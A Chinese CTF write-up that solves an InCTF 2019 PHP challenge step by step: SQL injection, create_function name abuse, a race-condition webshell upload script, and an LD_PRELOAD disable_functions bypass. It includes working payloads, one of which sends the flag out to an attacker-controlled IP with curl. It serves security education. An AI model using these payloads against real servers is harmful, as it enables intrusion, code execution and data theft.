從一道ctf題中學會了利用LD_PRELOAD突破disable_functions

2020-12-05 湖南蟻景

前言

從一道ctf題中學會了利用LD_PRELOAD突破disable_functions。

題目分析

這是一個白盒測試,提供了完整的原始碼。下面是進入這個挑戰的首頁面,你將會看到一個簡單的登陸功能:

如果你分析下載的代碼的話,你將會看到用戶的帳戶名和密碼通過了下面的驗證。

login.php

<?php

include("config.php");

include("functions.php");

session_start();

$user = $_POST['username'];

$pass = $_POST['password'];

$user = check($user);

$pass = check($pass); //I know you are naughty!!

$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";

$result = $conn->query($sql);

if ($result->num_rows > 0 || $_SESSION['logged']==1){

$_SESSION['logged'] = 1;

header("Location: admin.php");

}

else{

echo "Incorrect Credentials"."<br>";

}

$conn->close();

?>

可以看到通過用check對輸入的username和password進行過濾。我們隨後跟進check函數,這個函數函數的功能是首先使用real_escape_string函數將用戶輸入的特殊符號給轉義成完全的字符如(",',\)等,然後還要檢查長度值。

functions.php

<?php

session_start();

include("config.php");

function escape($str){

global $conn;

$str = $conn->real_escape_string($str);

return $str;

}

function check($tocheck){

$tocheck = trim(escape($tocheck));

if(strlen($tocheck)<5){

die("For God Sake, don't try to HACK me!!");

}

if(strlen($tocheck)>11){

$tocheck = substr($tocheck, 0, 11);

}

return $tocheck;

}

function ExtractZipFile($file,$path){

$zip = new ZipArchive;

if ($zip->open($file) === TRUE) {

$zip->extractTo($path);

$zip->close();

}

}

function CheckDir($path) {

$files = scandir($path);

foreach ($files as $file) {

$filepath = "$path/$file";

if (is_file($filepath)) {

$parts = pathinfo($file);

$ext = strtolower($parts['extension']);

if (strpos($ext, 'php') === false &&

strpos($ext, 'pl') === false &&

strpos($ext, 'py') === false &&

strpos($ext, 'cgi') === false &&

strpos($ext, 'asp') === false &&

strpos($ext, 'js') === false &&

strpos($ext, 'rb') === false &&

strpos($ext, 'htaccess') === false &&

strpos($ext, 'jar') === false) {

@chmod($filepath, 0666);

} else {

@chmod($filepath, 0666); // just in case the unlink fails for some reason

unlink($filepath);

}

} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {

CheckDir($filepath);

}

}

}

function is_login(){

if($_SESSION['logged']!=1){

die("Login first");

}

}

function is_admin(){

if($_SESSION['admin']!="True"){

die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");

}

}

function send($random){

$phone_number="xxxxxxxxxx";

//Send random value to his phone number

}

?>

通過仔細的觀察上面的代碼,我們可以看到如果用戶的輸入值長度大於11個字符,則可以通過substr截斷輸入的值,結合上面提到的read_escape_string函數,這將給我們提供了SQL注入的可能。利用的方式如下:

payload

username = 1111111111\ , password = or 1#

result

$sql = "SELECT username, password FROM inctf2019_cat WHERE username='1111111111\' && password=' or 1#';

我們使用下面的代碼實驗一波:

<?php

function escape($str){

$str = addslashes($str);

return $str;

}

function check($tocheck){

$tocheck = trim(escape($tocheck));

if(strlen($tocheck)<5){

die("For God Sake, don't try to HACK me!!");

}

if(strlen($tocheck)>11){

$tocheck = substr($tocheck, 0, 11);

}

return $tocheck;

}

$username ="1111111111\\";

$password =" or 1#";

$user=check($username);

$pass=check($password);

$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";

echo $sql;

最終的結果:

SELECT username, password FROM inctf2019_cat WHERE username='1111111111\' && password='or 1#'

現在我們可以繞過第一步成功的登陸,但是登陸後,你跳轉到admin.php頁面將會顯示Sorry, It seems you are not Admin…are you? If yes, proove it then !!

現在我們開始閱讀functions下面的原始碼找到如下的位置:

<?php

function is_admin(){

if($_SESSION['admin']!="True"){

die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");

}

}

這段代碼顯示了怎樣判斷用戶是admin的。現在我們要看它在哪裡設置了成為admin跟進到remote_admin.php。

<?php

include "functions.php";

session_start();

is_login();

# If admin wants to open his website remotely

$remote_admin = create_function("",'if(isset($_SERVER["HTTP_I_AM_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_I_AM_ADMIN"];}');

$random = bin2hex(openssl_random_pseudo_bytes(32));

eval("function admin_$random() {"

."global \$remote_admin; \$remote_admin();"

."}");

send($random);

$_GET['random'](); //Only Admin knows next random value; You don't have to worry about HOW?

if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){

$_SESSION['admin'] = "True";

}

?>

通過分析代碼,我們可以看到僅當通過$_SERVER["REMOTE_ADDR"]訪問改頁面的IP為127.0.0.1時,會話中的admin值才設置為True。因此我們要用127.0.0.1來覆蓋$_SERVER["HTTP_I_AM_ADMIN"]的值,並通過調用create_function創建函數來實現。

但是你會發現上面的那個函數沒有辦法調用,因為你要構造一個admin_+$random =bin2hex(openssl_random_pseudo_bytes(32));的函數,然後通過$_GET['random']();傳入來調用,但是那個$random是隨機的你沒有辦法預測。

然後我們google了幾個小時找到了關於create_function注入的相關知識。

大家可以閱讀這兩篇博客:

PHP create_function()代碼注入create_function函數如何實現最後通過Google找到了php的create_function原始碼解決了這個問題。

zend_builtin_function.c

#define LAMBDA_TEMP_FUNCNAME "__lambda_func"

/* {{{ proto string create_function(string args, string code)

Creates an anonymous function, and returns its name (funny, eh?) */

ZEND_FUNCTION(create_function)

{

..省略..

function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);

ZSTR_VAL(function_name)[0] = '\0';

do {

ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;

} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);

RETURN_NEW_STR(function_name);

} else {

zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);

RETURN_FALSE;

}

}

上面的原始碼中,我們可以看到create_function函數的返回值為\x00lambda_%d,並且實際的本地測試顯示匿名函數最終以\x00lambda_1,\x00lambda_2等字符串形式返回。

然後回到上面的代碼,我們可以預測$remote_admin變量中匿名函數的字符串名稱值,以便我們可以調用匿名函數來獲取管理員的權限,而無需直接調用admin_$random()函數。

繞過的payload如下:

GET /remote_admin.php?random=%00lambda_1 HTTP/1.1

Host: 3.15.186.158

Cache-Control: max-age=0

I-AM-ADMIN: 127.0.0.1

Cookie: PHPSESSID={你自己的cookie}

現在,獲得管理員權限後,如果我們再次訪問admin.php頁面將會有一個上傳功能。上傳功能的代碼如下:

upload.php

<?php

session_start();

include("functions.php");

is_login();

is_admin();

$SANDBOX = getcwd() . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");

@mkdir($SANDBOX);

@chdir($SANDBOX);

if (isset($_FILES['file'])) {

ExtractZipFile($_FILES['file']['tmp_name'], $SANDBOX);

CheckDir($SANDBOX);

echo "File is at: " . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");

}

?>

functions.php

<?php

..省略..

function ExtractZipFile($file,$path){

$zip = new ZipArchive;

if ($zip->open($file) === TRUE) {

// 解壓zip文件

$zip->extractTo($path);

$zip->close();

}

}

function CheckDir($path) {

$files = scandir($path);

foreach ($files as $file) {

$filepath = "$path/$file";

if (is_file($filepath)) {

$parts = pathinfo($file);

$ext = strtolower($parts['extension']);

if (strpos($ext, 'php') === false &&

strpos($ext, 'pl') === false &&

strpos($ext, 'py') === false &&

strpos($ext, 'cgi') === false &&

strpos($ext, 'asp') === false &&

strpos($ext, 'js') === false &&

strpos($ext, 'rb') === false &&

strpos($ext, 'htaccess') === false &&

strpos($ext, 'jar') === false) {

@chmod($filepath, 0666);

} else {

// 條件競爭寫入webShell

@chmod($filepath, 0666); // just in case the unlink fails for some reason

unlink($filepath);

}

} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {

CheckDir($filepath);

}

}

}

..省略..

?>

代碼的流程如下:

解壓縮上傳的Zip文件到./uploads/md5_hex_value/目錄下,並且將會驗證上傳的文件後綴來判斷是否要刪除文件。但是上傳的文件是先保存後在刪除的,因此我們可以用條件競爭的方式來getshell。

在合天網安實驗室上面,大家就可以做相關的一個練習,php競爭條件漏洞

shell.php(將此文件壓縮成shell.zip)

<?php

mkdir("../shell/");

file_put_contents("../shell/webshell.php",'<?php eval($_GET[0]);?>');

?>

solve.py

import requests

import threading

def upload_zip():

for i in range(0,1000):

url = "http://3.15.186.158/upload.php"

multiple_files = [

('file', ('foo.png', open('./shell.zip',"rb"), 'application/x-zip-compressed'))]

header = {"Cookie":"PHPSESSID={你的cookie}"}

result = requests.post(url,headers=header,files=multiple_files).text

def get_shell():

for i in range(0, 10000):

url = "http://3.15.186.158/uploads/{你的MD5字符串}/shell.php"

header = {"Cookie": "PHPSESSID={你的cookie}"}

result = requests.get(url, headers=header).text

if "404 Not Found" not in result:

print result

threads = []

for i in range(0,100):

threading.Thread(target=upload_zip,args=('')).start()

threading.Thread(target=get_shell, args=('')).start()

如果你訪問生成的webshell,你將看到webshell已經正常上傳。現在,我們已經成功的上傳了webshell,但是我們還是不能去讀取flag存在的文件因為這個文件只有執行的權限,因此我們並不能通過簡單的file Function來獲取。

通過phpinfo()我們可以看到,disable_functions的設置如下:disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,

pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,

pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,

pcntl_signal_get_handler,proc_open,pcntl_signal_dispatch,pcntl_get_last_error,

pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,

pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,

error_log,system,exec,shell_exec,

popen,passthru,link,symlink,

syslog,imap_open,ld,mail,

fread,fopen,file_get_contents,readfile,

chdir

基本上,我們可以看到php中所有有關shell的函數都被禁用了,但是禁用函數列表沒有禁用putenv,因此我們可以使用LD_PRELOAD來突破disable_functions來執行系統命令。

LD_PRELOAD為我們提供了劫持系統函數的能力,但是前提是我們要控制php啟動外部程序才行(只要有進程啟動行為即可),我們常用的啟動一個新進程的方法有mail,imap_open,error_log,syslog和imagick(沒有安裝此模塊),其內部原理都是通過execve來開啟一個新的進程。

但是禁用函數列表全部把我們可以用的函數全部給禁用了現在我們就要看看php安裝了哪些可以用的模塊。

我們最後在phpinfo中看到了一個名為mbstring的擴展模塊。

如果安裝了該模塊,則可以使用Multibyte character encoding的功能,其中的mb_send_mail函數的功能可以替代mail,並且達到相同的效果,如下所示:

對於這個函數,由於它除了編碼部分其餘與mail函數一樣,因此通過execve進行sendmail調用是在內部進行的,並且不應用disable_function,因此我們可以通過使用LD_PRELOAD來劫持系統函數,執行系統命令。

下面簡要介紹一下LD_PRELOAD怎樣劫持系統函數。

1. 創建一個覆蓋execve的共享庫(例如:gcc -shared -fPIC getshell.c -o getshell.so)

2. 上傳.so文件。

3. 通過使用php的putenv來設置LD_PRELOAD,讓我們的動態連結程序被優先調用。

4. 調用一個函數(例如:mail,imap_open,error_log等),該函數在php內部調用execve。

執行上述過程的代碼如下:

getshell.c

#include <stdlib.h>

u_int getuid(void){

char *command;

command = getenv("shell");

system(command);

return 0;

}

php payload

/uploads/shell/webshell.php?0=putenv("LD_PRELOAD=/tmp/getshell.so");putenv("shell=curl http://你的ip地址:你的埠號/ -d id=`/readFlag|base64|tr -d '\n'`");mb_send_mail("a","a","a");

執行payload後,你將會在你的伺服器日誌中獲取flag。

Flag = inctf{Ohh,you_are_the_ultimate_chainer,Bypassing_disable_function_wasn't_fun?:SpyD3r}

相關焦點

  • 通過LD_PRELOAD繞過disable_functions
    當時做這道題目的時候是跟著別人的題解直接套的(一道瘋狂bypass的題目),屬於一知半解的狀態,比賽結束之後又耽擱了一兩天,才有時間總結學習以下這個方式。為什麼可以繞過想要利用LD_PRELOAD環境變量繞過disable_functions需要注意以下幾點:能夠上傳自己的.so文件能夠控制環境變量的值(設置
  • ctf古典密碼從0到1
    每個矩陣都有25個字母(通常會取消Q或將I,J視作同一樣,或改進為6×6的矩陣,加入10個數字)。選兩個密鑰,example和keyword。去掉重複的字母。就是example變成exampl。餘下的字母順序存入矩陣即可加密矩陣放右上和左下。加密步驟。
  • php中函數禁用繞過的原理與利用
    disable_functions這是本文的重點,disable_functions顧名思義函數禁用,以筆者的kali環境為例,默認就禁用了如下函數:如一些ctf題會把disable設置的極其噁心,即使我們在上傳馬兒到網站後會發現什麼也做不了,那麼此時的繞過就是本文所要講的內容了。
  • 一道中學物理題暴露了這種鳥兒的驚人智商!它的聰明鳥類排名第一
    這是一道經典的中學物理題,它的原型來自於《伊索寓言》中的一則小故事。沒錯,就是「烏鴉喝水」的故事。這個故事可以用來考查中學物理中的質量和密度以及體積之間的關係!真實的烏鴉喝水請看一道非常簡單的「烏鴉喝水」的中學物理題:
  • disable fork,你真的會用嗎?
    SystemVerilog允許大家在使用fork + join/join_any/join_none創建進程之後,通過disable fork來提前結束這些進程。執行task C,會驚奇地發現:不論task A裡面是否wait valid成功,當執行後面的disable fork之後,task B始終都沒有列印第27行的信息?為什麼會這樣?是不是開始懷疑人生了?
  • 一道全國聯賽的代數求值題,你會做嗎?
    這道題與平時的練習類似,又有些不同,不同之處在於平時見過的題已知只有一個條件,要麼是知道不同次數,類似第一個 條件,要麼是知道兩個字母間的關係,類似第二個條件,這道競賽題把兩種條件結合了起來,相當於把兩道簡單類型題組合成一道較複雜的競賽題。要解這道較複雜的競賽題,首先要回顧一下兩種簡單的類型題怎樣解。類型一:已知一個關於某個字母不同次數的等式,求另一個代數式的值。
  • 考你一道題
    所以,但凡是繞點彎的題,我都很難做出來。第一道題:前兩天看到一道題,想半天沒想出來。心裡痒痒,上網搜了答案,還是沒想太明白。 後來聽說亞里斯多德也沒想清楚,我心裡又平衡了。題目如下:這個題的答案,知乎@馬同學有一篇文章講的非常好,可以搜來看看。
  • 一道難倒多數初學者的中考物理題!若不深入研究,定會再次犯錯
    這是一道中考物理電學題,對於真正認真地深入研究過這類題的同學來說,應該不算難題,可是,對於多數初學者來說,如果從來沒有接觸過這道題,那就幾乎無從下手了。初三的同學們在學習電學知識時,會遇到各種各樣的習題,今天我們要說的是一道電學實驗題。
  • 俄羅斯小夥輕鬆解決一道題,卻放棄百萬獎金
    2000年美國公布了千禧年數學七大難題,任意一題解答就可以拿走100W美金。一位俄羅斯精神小夥哼哧解決了一道題,並說:我只是解決了一道數學題而已,不喜歡被你們放到聚光燈下!於是他放棄獎金,回歸安靜的生活。這個神人名字叫做格裡戈裡,佩雷爾曼。他拒絕的獎金遠不止這100萬,2006年諾貝爾級別的數學菲爾茲獎,科學院院士,斯坦福研究院等等等等,而且他還於2005年辭掉了自己的原本職務。
  • 區區一道關於織布的小學應用題,又不是國家機密,卻禁止出國展覽
    相信大部分人接觸過小學應用題,對比中學、大學的數學題,難度係數算是比較簡單的,在大眾眼中也頂多算一道普普通通的題目而已,沒有什麼稀奇可言。可是,有這樣一道小學應用題,卻偏偏不走尋常路,還入選了「禁止出國(境)展覽文物」名單,榮耀地肩負著195件(套)「禁出國」文物中唯一的「理科著作」。這消息一出,名震全國。那這道小學應用題的內容到底是什麼呢?區區一道小學應用題,又不是國家機密,卻禁止出國展覽,還名震全國,它究竟有何能耐可以享受如此殊榮呢?
  • 一道有意思的小學六年級自然科學題 讓家長群炸鍋了
    棉紅鈴蟲的「作繭自縛」和下列何種現象體現同一原理( )  A.非洲肺魚在乾旱季節夏眠  B.響尾蛇遇到敵害時尾部發出響聲  C.雷鳥在降雪前換上了白色的羽毛 D.震動枝條,竹節蟲跌落僵直不動  「一道有意思的題目,沒睡的踴躍思考一下,答案正確發紅包。」昨天凌晨,鄢女士在她的工作群發出一道她讀小學六年級女兒的自然科學題後,瞬間讓原本寂靜的工作組炸了。
  • 中考數學:最後的選擇題、幾何或函數壓軸題,哪一道讓你崩潰?
    中考數學,每一年的考試都有難題,而每一道難題都讓不少學生花費不少時間、絞盡腦汁,也很難算出最後的正確答案。比如最後一道選擇題或填空題,最後一道大題(單壓軸題)或最後兩道大題(雙壓軸題)。那麼,最後的選擇題或填空題,幾何壓軸題與二次函數壓軸題,哪一道讓你崩潰呢?
  • 一道初中數學競賽題:正確率不到5%,網友質疑答案有問題
    整體思想是中學數學非常重要的思維模式。在很多題目中,用整體思維解題不僅可以減少計算量,還可以避免出現漏解的情況。比如今天和大家分享的這道經典的初中數學競賽題:已知a^6+a^7+a^8=0,求a^99的值。現在讓初中生來做正確率都不到5%,甚至有網友質疑答案有問題。
  • 一道讓中下遊學生全軍覆沒的初三物理期末壓軸題!
    所以,仔細研究期末試卷中的每一道錯題,一定要徹底查清楚錯因,找到知識、方法的缺陷,然後與平時做錯的題相互比對,在比較中歸納,在對比中總結!通過一個錯題,複習一大片相關知識點和方法;通過所有錯題,就能複習幾乎全部易錯知識點和方法了。
  • 一道白俄羅斯初中數學競賽題:分解因式,難住不少學霸
    大家好,今天和大家分享一道白俄羅斯的初中數學競賽題:分解因式a^4-3a+4a-3。這道題看似簡單,卻難住了不少初中的學霸,還有網友調侃到:以為只有中國才學這些東西呢,沒想到大家都在學啊,還真是公平。因式分解是中學數學非常重要的一個知識點,在解一元二次方程、一元二次不等式、二次函數、化簡求值等題型中經常都會用到。書本中因式分解的題目一般比較簡單,考查的方法主要有提公因式法、公式法和十字相乘法等,其中最重要的還是十字相乘法。下面我們一起來看一下這道白俄羅斯的競賽題。這道題是一個4次多項式的分解,下面介紹3種方法。
  • 人生沒有答案,本是一道無解的題
    人生本是一道無解的題,無解的題,你偏要去解答,那不是杞人憂天庸人自擾嗎?答不出的答案,脫不了的困局,是你永遠無法走出桎梏的屏障。關於人與外界的認知和通行雖有命裡和宿命之說,但有古法漸漸禪定一種意識突破規律,那就是局限性突圍。突破局限個體必須首先突破意識形態這道關。但認知的局限,社會群體關係性的複雜,人在困局和階層狹隘意識裡基本求生的本能將註定他們無法突破這層障礙。
  • 每日一道中考壓軸題:電路的串、並聯,歐姆定律、電功率計算題
    在考試中,我們一般把最後的綜合題目稱為壓軸題。今天,我們來學習一道中考物理必考的電路的串、並聯、歐姆定律、電功率的壓軸題,有意思的是,這道題是雲南2019年最後三道壓軸題的排名倒數第二,更加顯得重要。分值9分。
  • 三年級上冊數學期末卷,解決問題專項練習題,最後一道題是難點
    每套數學試卷,最後一道大題都是解決問題,這部分題對於學習好的學生,基本是十拿九穩,可是對於基礎較弱的學生,最後一道大題就被優秀的學生給落下了很多。我今天給大家分享一些解決問題的專項練習題,用來給那些基礎較差的孩子練習一下,打好自己的數學基礎還是很關鍵的。閒話少敘,開始分享試卷。這套試卷一共 有15道大題,滿分也是100分。
  • 新加坡一道奧數題在網上火了 全世界都在琢磨Cheryl的生日
    原標題:新加坡一道奧數題在網上火了 全世界都在琢磨Cheryl的生日   新加坡一道為十五六歲學生設計的奧數題被人放上網,不料惹得西方國家網民絞盡腦汁爭相答題。許多人驚呼,新加坡孩子竟然要做這麼難的數學題啊!